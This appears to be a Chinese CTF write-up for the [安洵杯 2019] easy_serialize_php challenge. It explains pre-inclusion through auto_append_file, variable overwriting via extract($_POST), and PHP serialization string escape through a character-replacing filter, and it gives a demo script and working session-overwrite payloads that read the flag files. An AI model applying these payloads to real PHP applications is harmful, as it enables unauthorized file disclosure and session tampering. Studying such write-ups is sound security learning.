[安洵杯 2019]easy_serialize_php

 考点:预包含,反序列化字符串逃逸,extract变量覆盖漏洞。


1、预包含

经过粗略的代码审计可以看到$function变量是GET方式得到的,此时我们打开phpinfo

可以看到php扩展情况此时也发现了可疑的.php文件同时看到在 php.ini 配置文件中设置了 auto_append_file 指令后,PHP 将自动将指定文件的内容附加到服务器上运行的每个 PHP 脚本的输出中。这提供了一种便捷的方式,确保某些代码或功能被一致地包含在所有 PHP 脚本中,而无需单独修改每个脚本,即预包含。

2、extract变量覆盖漏洞

该函数使用数组键名作为变量名,使用数组键值作为变量值。 即extract($_POST);可以接受Post

请求的值作为变量使用,下面的代码他给出了两个SESSION变量的键值,那这还有个毛用肯定得改,也意味着我们找到了注入点。

3、反序列化字符串逃逸(两种情况)

此时我们来到反序列化的部分,首先此处为session的序列化问题,实际上session不止一种反序列化方式。即所使用的session处理器不同,对应所使用的函数也不同,下图是站内大佬的图。

也可以看看一些大佬的优秀文章,此处我也不太能全部搞懂。

PHP session反序列化

原理+实践掌握(PHP反序列化和Session反序列化)

那根据源码和phpinfo信息此处为基本的为第三种。如果不知道这个情况下序列化出来的结构是啥可以自己写一个payload试试。此处大概意思是键值对。示例一下:

序列化出来就是:

a:2:{s:4:"user";s:5:"guest";s:8:"function";s:3:"xxx";}
//a代表这是一个数组序列化;后面的s就是上面代码的 键:字符数:值

①过滤导致字符溢出

#参考字节脉搏实验室
<?php
function lemon($string){
    $lemon = '/p/i';
    return preg_replace($lemon,'ww',$string);//若匹配到p则换为ww
}
echo "原序列:<br>";
$username = '';//输入测试
$age = '20';
$user = array($username,$age);
var_dump(serialize($user));
echo "<br><br>";
echo "过滤后:<br>";
$r = lemon(serialize($user));//对序列化后的user数组过滤
var_dump($r);
echo "<br><br>过滤后反序列化:";
var_dump(unserialize($r));
?>

此时我们输入ppppp被替换为wwwwwwwwww。可以看到p字符长度为5但替换ww后没有变为10这就导致了过滤后的反序列化出错。那此时我们构造payload为

pppppppppppppppp";i:1;s:2:"50";}//16个p+16个字符

此时当他被转义后根据反序列化规则前面闭合了}后面的字符就作废这样我们就可以改变session中的值了。

②过滤导致字符串为空

与上面相同即如果过滤函数是将字符替换为小于该字符串长度的字符串,那么被过滤的代码就会往后自动截取相应字符数长度。此处payload也需要能够满足构造条件不然也注入不成功。

4、攻击

这题有三个session变量默认[img]中是传入guest_img.png的图片,否则就使用sha1加密传来的‘img_path’这肯定没戏sha1也不好破解,那就只能把目光放到这另外两个session变量的反序列化上了。

payload:(加载他预包含的d0g3_f1ag.php)传入参数覆盖变量,然后构造语句

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";};

然后我们可以看到包含的php文件有flag提示

此时我们还需要再次构造payload去加载flag文件即base64(/d0g3_fllllllag)

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";}


  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值